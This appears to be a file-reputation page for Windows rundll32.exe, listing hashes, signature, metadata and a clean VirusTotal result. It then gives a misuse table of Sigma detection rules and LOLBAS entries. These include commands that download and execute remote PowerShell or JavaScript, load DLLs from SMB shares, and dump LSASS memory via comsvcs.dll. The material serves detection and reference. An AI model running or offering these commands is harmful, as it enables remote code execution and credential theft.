rundll32.exe

• File Path: C:\Windows\system32\rundll32.exe
• Description: Windows host process (Rundll32)

Hashes

Type	Hash
MD5	44B041922105E01BFD0D096123F7D312
SHA1	84DDB2B3D1158485B2B66867CA9452930A258EDD
SHA256	F1DC9560D0C381C78304D94F7BA469490017D9728A03C2DD32C3BE957FC9F923
SHA384	825A5C8D7265D3F77D49E270F1D1A0F564C3FF23DC755B8FF86FDE698BF89B0311E28C51A3CE790284B72A342492722A
SHA512	F8EC1BAB25EBB3107AAF59CF687E043ABF33A2839B4F5557197472BE18F0AB3788878417E724456BF9D30E237BBA9179AB87803EC410F0F9A5C68631F8F17180
SSDEEP	1536:OM81xna/qB3NhUNfkze1+yWiYcWUoBmtSWRuln5IUmDjoX:l7/o3NhOfk7y7YsdtpRuln5I
IMP	4DB27267734D1576D75C991DC70F68AC
PESHA1	0689A2BEDC094FE12F3C0517C0991DD7F842B2C6
PE256	335ED9EB6223407990A540AA4136E7D75CD41E3A50A016CD746A98FAF967F817

Runtime Data

Loaded Modules:

Path
C:\Windows\System32\combase.dll
C:\Windows\System32\imagehlp.dll
C:\Windows\System32\KERNEL32.DLL
C:\Windows\System32\KERNELBASE.dll
C:\Windows\System32\msvcrt.dll
C:\Windows\SYSTEM32\ntdll.dll
C:\Windows\System32\RPCRT4.dll
C:\Windows\system32\rundll32.exe
C:\Windows\System32\shcore.dll
C:\Windows\System32\ucrtbase.dll

Signature

• Status: Signature verified.
• Serial: 3300000266BD1580EFA75CD6D3000000000266
• Thumbprint: A4341B9FD50FB9964283220A36A1EF6F6FAA7840
• Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
• Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

• Original Filename: RUNDLL32.EXE.MUI
• Product Name: Microsoft Windows Operating System
• Company Name: Microsoft Corporation
• File Version: 10.0.19041.1 (WinBuild.160101.0800)
• Product Version: 10.0.19041.1
• Language: English (United States)
• Legal Copyright: Microsoft Corporation. All rights reserved.
• Machine Type: 64-bit

File Scan

• VirusTotal Detections: 0/76
• VirusTotal Link: https://www.virustotal.com/gui/file/f1dc9560d0c381c78304d94f7ba469490017d9728a03c2dd32c3be957fc9f923/detection

File Similarity (ssdeep match)

File	Score
C:\windows\system32\rundll32.exe	40
C:\Windows\system32\rundll32.exe	43
C:\Windows\system32\rundll32.exe	35
C:\Windows\system32\rundll32.exe	46
C:\WINDOWS\system32\rundll32.exe	41
C:\Windows\SysWOW64\rundll32.exe	40
C:\Windows\SysWOW64\rundll32.exe	40
C:\Windows\SysWOW64\rundll32.exe	41
C:\Windows\SysWOW64\rundll32.exe	36
C:\windows\SysWOW64\rundll32.exe	41
C:\WINDOWS\SysWOW64\rundll32.exe	46

Possible Misuse

The following table contains possible examples of rundll32.exe being misused. While rundll32.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source	Source File	Example	License
sigma	win_invoke_obfuscation_via_rundll_services_security.yml	- 'rundll32.exe'	DRL 1.0
sigma	win_invoke_obfuscation_via_use_rundll32_services_security.yml	title: Invoke-Obfuscation Via Use Rundll32	DRL 1.0
sigma	win_invoke_obfuscation_via_use_rundll32_services_security.yml	description: Detects Obfuscated Powershell via use Rundll32 in Scripts	DRL 1.0
sigma	win_invoke_obfuscation_via_use_rundll32_services_security.yml	- 'rundll32'	DRL 1.0
sigma	win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml	# meterpreter getsystem technique 2: rundll32.exe C:\Users\test\AppData\Local\Temp\tmexsn.dll,a /p:tmexsn	DRL 1.0
sigma	win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml	- 'rundll32'	DRL 1.0
sigma	win_user_driver_loaded.yml	- '\Windows\System32\rundll32.exe'	DRL 1.0
sigma	win_invoke_obfuscation_via_rundll_services.yml	ImagePath\|re: '(?i).*rundll32(?:\.exe)?(?:\s+)?shell32\.dll.*shellexec_rundll.*powershell.*\"'	DRL 1.0
sigma	win_invoke_obfuscation_via_use_rundll32_services.yml	title: Invoke-Obfuscation Via Use Rundll32	DRL 1.0
sigma	win_invoke_obfuscation_via_use_rundll32_services.yml	description: Detects Obfuscated Powershell via use Rundll32 in Scripts	DRL 1.0
sigma	win_invoke_obfuscation_via_use_rundll32_services.yml	ImagePath\|re: '(?i).*&&.*rundll32.*shell32\.dll.*shellexec_rundll.*(value\|invoke\|comspec\|iex).*"'	DRL 1.0
sigma	win_meterpreter_or_cobaltstrike_getsystem_service_installation.yml	# meterpreter getsystem technique 2: rundll32.exe C:\Users\test\AppData\Local\Temp\tmexsn.dll,a /p:tmexsn	DRL 1.0
sigma	win_meterpreter_or_cobaltstrike_getsystem_service_installation.yml	- 'rundll32'	DRL 1.0
sigma	sysmon_susp_powershell_rundll32.yml	title: PowerShell Rundll32 Remote Thread Creation	DRL 1.0
sigma	sysmon_susp_powershell_rundll32.yml	description: Detects PowerShell remote thread creation in Rundll32.exe	DRL 1.0
sigma	sysmon_susp_powershell_rundll32.yml	TargetImage\|endswith: '\rundll32.exe'	DRL 1.0
sigma	driver_load_meterpreter_or_cobaltstrike_getsystem_service_installation.yml	# meterpreter getsystem technique 2: rundll32.exe C:\Users\test\AppData\Local\Temp\tmexsn.dll,a /p:tmexsn	DRL 1.0
sigma	driver_load_meterpreter_or_cobaltstrike_getsystem_service_installation.yml	- 'rundll32'	DRL 1.0
sigma	file_event_win_creation_system_file.yml	- '\rundll32.exe'	DRL 1.0
sigma	file_event_win_susp_clr_logs.yml	- 'rundll32'	DRL 1.0
sigma	file_event_win_susp_clr_logs.yml	- https://twitter.com/SBousseaden/status/1388064061087260675 - rundll32.exe with zzzzInvokeManagedCustomActionOutOfProc in command line and msiexec.exe as parent process	DRL 1.0
sigma	file_event_win_win_shell_write_susp_directory.yml	# - '\rundll32.exe'	DRL 1.0
sigma	image_load_mimikatz_inmemory_detection.yml	Image: 'C:\Windows\System32\rundll32.exe'	DRL 1.0
sigma	image_load_suspicious_dbghelp_dbgcore_load.yml	- '\rundll32.exe'	DRL 1.0
sigma	net_connection_win_rundll32_net_connections.yml	title: Rundll32 Internet Connection	DRL 1.0
sigma	net_connection_win_rundll32_net_connections.yml	description: Detects a rundll32 that communicates with public IP addresses	DRL 1.0
sigma	net_connection_win_rundll32_net_connections.yml	Image\|endswith: '\rundll32.exe'	DRL 1.0
sigma	posh_pm_invoke_obfuscation_via_rundll.yml	Payload\|re: '(?i).*rundll32(?:\.exe)?(?:\s+)?shell32\.dll.*shellexec_rundll.*powershell.*\"'	DRL 1.0
sigma	posh_pm_invoke_obfuscation_via_use_rundll32.yml	title: Invoke-Obfuscation Via Use Rundll32	DRL 1.0
sigma	posh_pm_invoke_obfuscation_via_use_rundll32.yml	description: Detects Obfuscated Powershell via use Rundll32 in Scripts	DRL 1.0
sigma	posh_pm_invoke_obfuscation_via_use_rundll32.yml	Payload\|re: '(?i).*&&.*rundll32.*shell32\.dll.*shellexec_rundll.*(value\|invoke\|comspec\|iex).*"'	DRL 1.0
sigma	posh_ps_invoke_obfuscation_via_rundll.yml	ScriptBlockText\|re: '(?i).*rundll32(?:\.exe)?(?:\s+)?shell32\.dll.*shellexec_rundll.*powershell.*\"'	DRL 1.0
sigma	posh_ps_invoke_obfuscation_via_use_rundll32.yml	title: Invoke-Obfuscation Via Use Rundll32	DRL 1.0
sigma	posh_ps_invoke_obfuscation_via_use_rundll32.yml	description: Detects Obfuscated Powershell via use Rundll32 in Scripts	DRL 1.0
sigma	posh_ps_invoke_obfuscation_via_use_rundll32.yml	ScriptBlockText\|re: '(?i).*&&.*rundll32.*shell32\.dll.*shellexec_rundll.*(value\|invoke\|comspec\|iex).*"'	DRL 1.0
sigma	posh_ps_suspicious_keywords.yml	- 'rundll32'	DRL 1.0
sigma	proc_access_win_lsass_dump_comsvcs_dll.yml	description: Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.	DRL 1.0
sigma	proc_access_win_lsass_dump_comsvcs_dll.yml	SourceImage: 'C:\Windows\System32\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_apt_equationgroup_dll_u_load.yml	Image\|endswith: '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_apt_lazarus_activity_apr21.yml	- 'C:\Windows\System32\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_apt_lazarus_loader.yml	- 'rundll32.exe '	DRL 1.0
sigma	proc_creation_win_apt_sofacy.yml	- 'rundll32.exe'	DRL 1.0
sigma	proc_creation_win_apt_taidoor.yml	- 'rundll32.exe'	DRL 1.0
sigma	proc_creation_win_apt_unc2452_cmds.yml	- 'rundll32.exe'	DRL 1.0
sigma	proc_creation_win_apt_unc2452_cmds.yml	ParentImage\|endswith: '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_apt_unc2452_cmds.yml	- 'rundll32 c:\windows\'	DRL 1.0
sigma	proc_creation_win_apt_unc2452_ps.yml	- 'rundll32 c:\windows'	DRL 1.0
sigma	proc_creation_win_apt_unc2452_ps.yml	- 'process call create "rundll32 c:\windows'	DRL 1.0
sigma	proc_creation_win_apt_zxshell.yml	- '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_bad_opsec_sacrificial_processes.yml	description: 'Detects attackers using tooling with bad opsec defaults e.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run, one trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.'	DRL 1.0
sigma	proc_creation_win_bad_opsec_sacrificial_processes.yml	- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32	DRL 1.0
sigma	proc_creation_win_bad_opsec_sacrificial_processes.yml	Image\|endswith: '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_bad_opsec_sacrificial_processes.yml	CommandLine\|endswith: '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_c3_load_by_rundll32.yml	title: F-Secure C3 Load by Rundll32	DRL 1.0
sigma	proc_creation_win_c3_load_by_rundll32.yml	- 'rundll32.exe'	DRL 1.0
sigma	proc_creation_win_cobaltstrike_load_by_rundll32.yml	title: CobaltStrike Load by Rundll32	DRL 1.0
sigma	proc_creation_win_cobaltstrike_load_by_rundll32.yml	description: Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line.	DRL 1.0
sigma	proc_creation_win_cobaltstrike_load_by_rundll32.yml	- 'rundll32.exe'	DRL 1.0
sigma	proc_creation_win_crime_fireball.yml	description: Detects Archer malware invocation via rundll32	DRL 1.0
sigma	proc_creation_win_crime_fireball.yml	- 'rundll32.exe'	DRL 1.0
sigma	proc_creation_win_html_help_spawn.yml	- '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_impacket_lateralization.yml	# runs %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c08afd90-f2a1-11d1-8455-00a0c91f3880} but parent command is explorer.exe	DRL 1.0
sigma	proc_creation_win_invoke_obfuscation_via_rundll.yml	CommandLine\|re: '(?i).*rundll32(?:\.exe)?(?:\s+)?shell32\.dll.*shellexec_rundll.*powershell.*\"'	DRL 1.0
sigma	proc_creation_win_invoke_obfuscation_via_use_rundll32.yml	title: Invoke-Obfuscation Via Use Rundll32	DRL 1.0
sigma	proc_creation_win_invoke_obfuscation_via_use_rundll32.yml	description: Detects Obfuscated Powershell via use Rundll32 in Scripts	DRL 1.0
sigma	proc_creation_win_invoke_obfuscation_via_use_rundll32.yml	CommandLine\|re: '(?i).*&&.*rundll32.*shell32\.dll.*shellexec_rundll.*(value\|invoke\|comspec\|iex).*"'	DRL 1.0
sigma	proc_creation_win_lolbins_by_office_applications.yml	- 'rundll32'	DRL 1.0
sigma	proc_creation_win_lolbins_with_wmiprvse_parent_process.yml	- 'rundll32'	DRL 1.0
sigma	proc_creation_win_malware_notpetya.yml	Image\|endswith: '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_malware_trickbot_wermgr.yml	description: Detects Trickbot malware process tree pattern in which rundll32.exe is parent of wermgr.exe	DRL 1.0
sigma	proc_creation_win_malware_trickbot_wermgr.yml	- '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_meterpreter_or_cobaltstrike_getsystem_service_start.yml	# meterpreter getsystem technique 2: rundll32.exe C:\Users\test\AppData\Local\Temp\tmexsn.dll,a /p:tmexsn	DRL 1.0
sigma	proc_creation_win_meterpreter_or_cobaltstrike_getsystem_service_start.yml	- 'rundll32'	DRL 1.0
sigma	proc_creation_win_office_from_proxy_executing_regsvr32_payload.yml	- 'rundll32'	DRL 1.0
sigma	proc_creation_win_office_from_proxy_executing_regsvr32_payload2.yml	- '*rundll32*'	DRL 1.0
sigma	proc_creation_win_office_shell.yml	- '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_outlook_shell.yml	# - '\rundll32.exe' # see comment below	DRL 1.0
sigma	proc_creation_win_outlook_shell.yml	# Several FPs with rundll32.exe - we started excluding specific use cases and	DRL 1.0
sigma	proc_creation_win_outlook_shell.yml	# ended commenting out all rundll32.exe sub processes	DRL 1.0
sigma	proc_creation_win_outlook_shell.yml	# Image\|endswith: '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_powershell_dll_execution.yml	- '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_powershell_dll_execution.yml	- 'Windows-Hostprozess (Rundll32)'	DRL 1.0
sigma	proc_creation_win_process_dump_rundll32_comsvcs.yml	title: Process Dump via Rundll32 and Comsvcs.dll	DRL 1.0
sigma	proc_creation_win_process_dump_rundll32_comsvcs.yml	- 'rundll32'	DRL 1.0
sigma	proc_creation_win_redmimicry_winnti_proc.yml	- rundll32.exe	DRL 1.0
sigma	proc_creation_win_renamed_binary.yml	- 'rundll32.exe'	DRL 1.0
sigma	proc_creation_win_renamed_binary.yml	- '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_renamed_binary_highly_relevant.yml	- 'rundll32.exe'	DRL 1.0
sigma	proc_creation_win_renamed_binary_highly_relevant.yml	- '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_rundll32_not_from_c_drive.yml	title: Rundll32 From Abnormal Drive	DRL 1.0
sigma	proc_creation_win_rundll32_not_from_c_drive.yml	description: Detects rundll32.exe executing from an abnormal drive such as a mounted ISO.	DRL 1.0
sigma	proc_creation_win_rundll32_not_from_c_drive.yml	Image\|endswith: '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_rundll32_registered_com_objects.yml	title: Rundll32 Registered COM Objects	DRL 1.0
sigma	proc_creation_win_rundll32_registered_com_objects.yml	- https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90	DRL 1.0
sigma	proc_creation_win_rundll32_registered_com_objects.yml	Image\|endswith: \rundll32.exe	DRL 1.0
sigma	proc_creation_win_rundll32_without_parameters.yml	title: Rundll32 Without Parameters	DRL 1.0
sigma	proc_creation_win_rundll32_without_parameters.yml	description: Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module	DRL 1.0
sigma	proc_creation_win_rundll32_without_parameters.yml	CommandLine: 'rundll32.exe'	DRL 1.0
sigma	proc_creation_win_run_executable_invalid_extension.yml	description: Detects the execution of rundll32 with a command line that doesn't contain a .dll file	DRL 1.0
sigma	proc_creation_win_run_executable_invalid_extension.yml	Image\|endswith: '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_script_event_consumer_spawn.yml	- '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_shell_spawn_susp_program.yml	- '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_susp_child_process_as_system_.yml	Image\|endswith: '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_susp_comsvcs_procdump.yml	description: Detects process memory dump via comsvcs.dll and rundll32	DRL 1.0
sigma	proc_creation_win_susp_comsvcs_procdump.yml	Image\|endswith: '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_susp_comsvcs_procdump.yml	OriginalFileName: 'RUNDLL32.EXE'	DRL 1.0
sigma	proc_creation_win_susp_control_dll_load.yml	description: Detects suspicious Rundll32 execution from control.exe as used by Equation Group and Exploit Kits	DRL 1.0
sigma	proc_creation_win_susp_control_dll_load.yml	Image\|endswith: '\rundll32.exe '	DRL 1.0
sigma	proc_creation_win_susp_curl_start_combo.yml	- https://medium.com/@reegun/curl-exe-is-the-new-rundll32-exe-lolbin-3f79c5f35983	DRL 1.0
sigma	proc_creation_win_susp_emotet_rundll32_execution.yml	title: Emotet RunDLL32 Process Creation	DRL 1.0
sigma	proc_creation_win_susp_emotet_rundll32_execution.yml	description: Detecting Emotet DLL loading by looking for rundll32.exe processes with command lines ending in ,RunDLL or ,Control_RunDLL	DRL 1.0
sigma	proc_creation_win_susp_emotet_rundll32_execution.yml	- '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_susp_emotet_rundll32_execution.yml	- '\tracker.exe' #When Visual Studio compile NodeJS program, it might use MSBuild to create tracker.exe and then, the tracker.exe fork rundll32.exe	DRL 1.0
sigma	proc_creation_win_susp_odbcconf.yml	Image\|endswith: '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_susp_pcwutl.yml	Image\|endswith: '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_susp_powershell_parent_process.yml	- '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_susp_rundll32_activity.yml	title: Suspicious Rundll32 Activity	DRL 1.0
sigma	proc_creation_win_susp_rundll32_activity.yml	description: Detects suspicious process related to rundll32 based on arguments	DRL 1.0
sigma	proc_creation_win_susp_rundll32_by_ordinal.yml	description: Detects suspicious calls of DLLs in rundll32.dll exports by ordinal	DRL 1.0
sigma	proc_creation_win_susp_rundll32_by_ordinal.yml	Image\|endswith: '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_susp_rundll32_inline_vbs.yml	title: Suspicious Rundll32 Invoking Inline VBScript	DRL 1.0
sigma	proc_creation_win_susp_rundll32_inline_vbs.yml	description: Detects suspicious process related to rundll32 based on command line that invokes inline VBScript as seen being used by UNC2452	DRL 1.0
sigma	proc_creation_win_susp_rundll32_inline_vbs.yml	- 'rundll32.exe'	DRL 1.0
sigma	proc_creation_win_susp_rundll32_js_runhtmlapplication.yml	title: Rundll32 JS RunHTMLApplication Pattern	DRL 1.0
sigma	proc_creation_win_susp_rundll32_js_runhtmlapplication.yml	description: Detects suspicious command line patterns used when rundll32 is used to run JavaScript code	DRL 1.0
sigma	proc_creation_win_susp_rundll32_js_runhtmlapplication.yml	- 'rundll32'	DRL 1.0
sigma	proc_creation_win_susp_rundll32_no_params.yml	title: Suspicious Rundll32 Without Any CommandLine Params	DRL 1.0
sigma	proc_creation_win_susp_rundll32_no_params.yml	description: Detects suspicious start of rundll32.exe without any parameters as found in CobaltStrike beacon activity	DRL 1.0
sigma	proc_creation_win_susp_rundll32_no_params.yml	CommandLine\|endswith: '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_susp_rundll32_script_run.yml	title: Suspicious Rundll32 Script in CommandLine	DRL 1.0
sigma	proc_creation_win_susp_rundll32_script_run.yml	description: Detects suspicious process related to rundll32 based on arguments	DRL 1.0
sigma	proc_creation_win_susp_rundll32_script_run.yml	- rundll32	DRL 1.0
sigma	proc_creation_win_susp_rundll32_setupapi_installhinfsection.yml	title: Suspicious Rundll32 Setupapi.dll Activity	DRL 1.0
sigma	proc_creation_win_susp_rundll32_setupapi_installhinfsection.yml	ParentImage\|endswith: '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_susp_rundll32_sys.yml	title: Suspicious Rundll32 Activity Invoking Sys File	DRL 1.0
sigma	proc_creation_win_susp_rundll32_sys.yml	description: Detects suspicious process related to rundll32 based on command line that includes a *.sys file as seen being used by UNC2452	DRL 1.0
sigma	proc_creation_win_susp_rundll32_sys.yml	CommandLine\|contains: 'rundll32.exe'	DRL 1.0
sigma	proc_creation_win_susp_servu_process_pattern.yml	- '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_susp_shell_spawn_by_java.yml	- '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_susp_shell_spawn_by_java_keytool.yml	- '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_susp_shimcache_flush.yml	- 'rundll32'	DRL 1.0
sigma	proc_creation_win_susp_spoolsv_child_processes.yml	Image\|endswith: \rundll32.exe	DRL 1.0
sigma	proc_creation_win_susp_spoolsv_child_processes.yml	CommandLine\|endswith: rundll32.exe	DRL 1.0
sigma	proc_creation_win_susp_target_location_shell32.yml	Image\|endswith: '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_susp_webdav_client_execution.yml	description: A General detection for svchost.exe spawning rundll32.exe with command arguments like C:\windows\system32\davclnt.dll,DavSetCookie. This could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server).	DRL 1.0
sigma	proc_creation_win_susp_webdav_client_execution.yml	Image\|endswith: '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_susp_wmic_proc_create_rundll32.yml	title: Suspicious WMI Execution Using Rundll32	DRL 1.0
sigma	proc_creation_win_susp_wmic_proc_create_rundll32.yml	description: Detects WMI executing rundll32	DRL 1.0
sigma	proc_creation_win_susp_wmic_proc_create_rundll32.yml	- 'rundll32'	DRL 1.0
sigma	proc_creation_win_system_exe_anomaly.yml	- '\rundll32.exe'	DRL 1.0
sigma	proc_creation_win_vmtoolsd_susp_child_process.yml	- '\rundll32.exe'	DRL 1.0
sigma	registry_event_modify_screensaver_binary_path.yml	- '\rundll32.exe'	DRL 1.0
sigma	driver_load_invoke_obfuscation_via_rundll_services.yml	ImagePath\|re: '(?i).*rundll32(?:\.exe)?(?:\s+)?shell32\.dll.*shellexec_rundll.*powershell.*\"'	DRL 1.0
sigma	driver_load_invoke_obfuscation_via_use_rundll32_services.yml	title: Invoke-Obfuscation Via Use Rundll32	DRL 1.0
sigma	driver_load_invoke_obfuscation_via_use_rundll32_services.yml	description: Detects Obfuscated Powershell via use Rundll32 in Scripts	DRL 1.0
sigma	driver_load_invoke_obfuscation_via_use_rundll32_services.yml	ImagePath\|re: '(?i).*&&.*rundll32.*shell32\.dll.*shellexec_rundll.*(value\|invoke\|comspec\|iex).*"'	DRL 1.0
sigma	win_possible_privilege_escalation_using_rotten_potato.yml	Image\|endswith: '\rundll32.exe'	DRL 1.0
LOLBAS	Dfsvc.yml	- Command: rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo
LOLBAS	Rundll32.yml	Name: Rundll32.exe
LOLBAS	Rundll32.yml	- Command: rundll32.exe AllTheThingsx64,EntryPoint
LOLBAS	Rundll32.yml	- Command: rundll32.exe \\10.10.10.10\share\payload.dll,EntryPoint
LOLBAS	Rundll32.yml	Description: Use Rundll32.exe to execute a DLL from a SMB share. EntryPoint is the name of the entry point in the .DLL file to execute.
LOLBAS	Rundll32.yml	- Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"
LOLBAS	Rundll32.yml	Description: Use Rundll32.exe to execute a JavaScript script that runs a PowerShell script that is downloaded from a remote web site.
LOLBAS	Rundll32.yml	- Command: rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
LOLBAS	Rundll32.yml	Description: Use Rundll32.exe to execute a JavaScript script that runs calc.exe.
LOLBAS	Rundll32.yml	- Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
LOLBAS	Rundll32.yml	Description: Use Rundll32.exe to execute a JavaScript script that runs calc.exe and then kills the Rundll32.exe process that was started.
LOLBAS	Rundll32.yml	- Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")
LOLBAS	Rundll32.yml	Description: Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.
LOLBAS	Rundll32.yml	- Command: rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain
LOLBAS	Rundll32.yml	Description: Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).
LOLBAS	Rundll32.yml	- Command: rundll32.exe -sta {CLSID}
LOLBAS	Rundll32.yml	Description: Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.
LOLBAS	Rundll32.yml	- Path: C:\Windows\System32\rundll32.exe
LOLBAS	Rundll32.yml	- Path: C:\Windows\SysWOW64\rundll32.exe
LOLBAS	Rundll32.yml	- IOC: Outbount Internet/network connections made from rundll32
LOLBAS	Rundll32.yml	- Link: https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/
LOLBAS	Rundll32.yml	- Link: https://github.com/sailay1996/misc-bin/blob/master/rundll32.md
LOLBAS	Rundll32.yml	- Link: https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90
LOLBAS	Advpack.yml	Description: Utility for installing software and drivers with rundll32.exe
LOLBAS	Advpack.yml	- Command: rundll32.exe advpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1,
LOLBAS	Advpack.yml	- Command: rundll32.exe advpack.dll,LaunchINFSection c:\test.inf,,1,
LOLBAS	Advpack.yml	- Command: rundll32.exe advpack.dll,RegisterOCX test.dll
LOLBAS	Advpack.yml	- Command: rundll32.exe advpack.dll,RegisterOCX calc.exe
LOLBAS	Advpack.yml	- Command: rundll32 advpack.dll, RegisterOCX "cmd.exe /c calc.exe"
LOLBAS	comsvcs.yml	- Command: rundll32 C:\windows\system32\comsvcs.dll MiniDump "[LSASS_PID] dump.bin full"
LOLBAS	Dfshim.yml	- Command: rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo
LOLBAS	Ieadvpack.yml	- Command: rundll32.exe ieadvpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1,
LOLBAS	Ieadvpack.yml	- Command: rundll32.exe ieadvpack.dll,LaunchINFSection c:\test.inf,,1,
LOLBAS	Ieadvpack.yml	- Command: rundll32.exe ieadvpack.dll,RegisterOCX test.dll
LOLBAS	Ieadvpack.yml	- Command: rundll32.exe ieadvpack.dll,RegisterOCX calc.exe
LOLBAS	Ieadvpack.yml	- Command: rundll32 ieadvpack.dll, RegisterOCX "cmd.exe /c calc.exe"
LOLBAS	Ieframe.yml	- Command: rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"
LOLBAS	Mshtml.yml	- Command: rundll32.exe Mshtml.dll,PrintHTML "C:\temp\calc.hta"
LOLBAS	Pcwutl.yml	- Command: rundll32.exe pcwutl.dll,LaunchApplication calc.exe
LOLBAS	Pcwutl.yml	- Analysis: https://redcanary.com/threat-detection-report/techniques/rundll32/
LOLBAS	Setupapi.yml	- Command: rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\Tools\shady.inf
LOLBAS	Setupapi.yml	- Command: rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\\Tools\\calc_exe.inf
LOLBAS	Shdocvw.yml	- Command: rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url"
LOLBAS	Shell32.yml	- Command: rundll32.exe shell32.dll,Control_RunDLL payload.dll
LOLBAS	Shell32.yml	- Command: rundll32.exe shell32.dll,ShellExec_RunDLL beacon.exe
LOLBAS	Shell32.yml	- Command: rundll32 SHELL32.DLL,ShellExec_RunDLL "cmd.exe" "/c echo hi"
LOLBAS	Syssetup.yml	- Command: rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\test\shady.inf
LOLBAS	Syssetup.yml	- Command: rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\temp\something.inf
LOLBAS	Url.yml	- Command: rundll32.exe url.dll,OpenURL "C:\test\calc.hta"
LOLBAS	Url.yml	- Command: rundll32.exe url.dll,OpenURL "C:\test\calc.url"
LOLBAS	Url.yml	- Command: rundll32.exe url.dll,OpenURL file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
LOLBAS	Url.yml	- Command: rundll32.exe url.dll,FileProtocolHandler calc.exe
LOLBAS	Url.yml	- Command: rundll32.exe url.dll,FileProtocolHandler file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
LOLBAS	Url.yml	- Command: rundll32.exe url.dll,FileProtocolHandler file:///C:/test/test.hta
LOLBAS	Zipfldr.yml	- Command: rundll32.exe zipfldr.dll,RouteTheCall calc.exe
LOLBAS	Zipfldr.yml	- Command: rundll32.exe zipfldr.dll,RouteTheCall file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
malware-ioc	misp-dukes-operation-ghost-event.json	"value": "Rundll32 - T1085",	© ESET 2014-2018
malware-ioc	misp-dukes-operation-ghost-event.json	"tag_name": "misp-galaxy:mitre-attack-pattern=\"Rundll32 - T1085\"",	© ESET 2014-2018
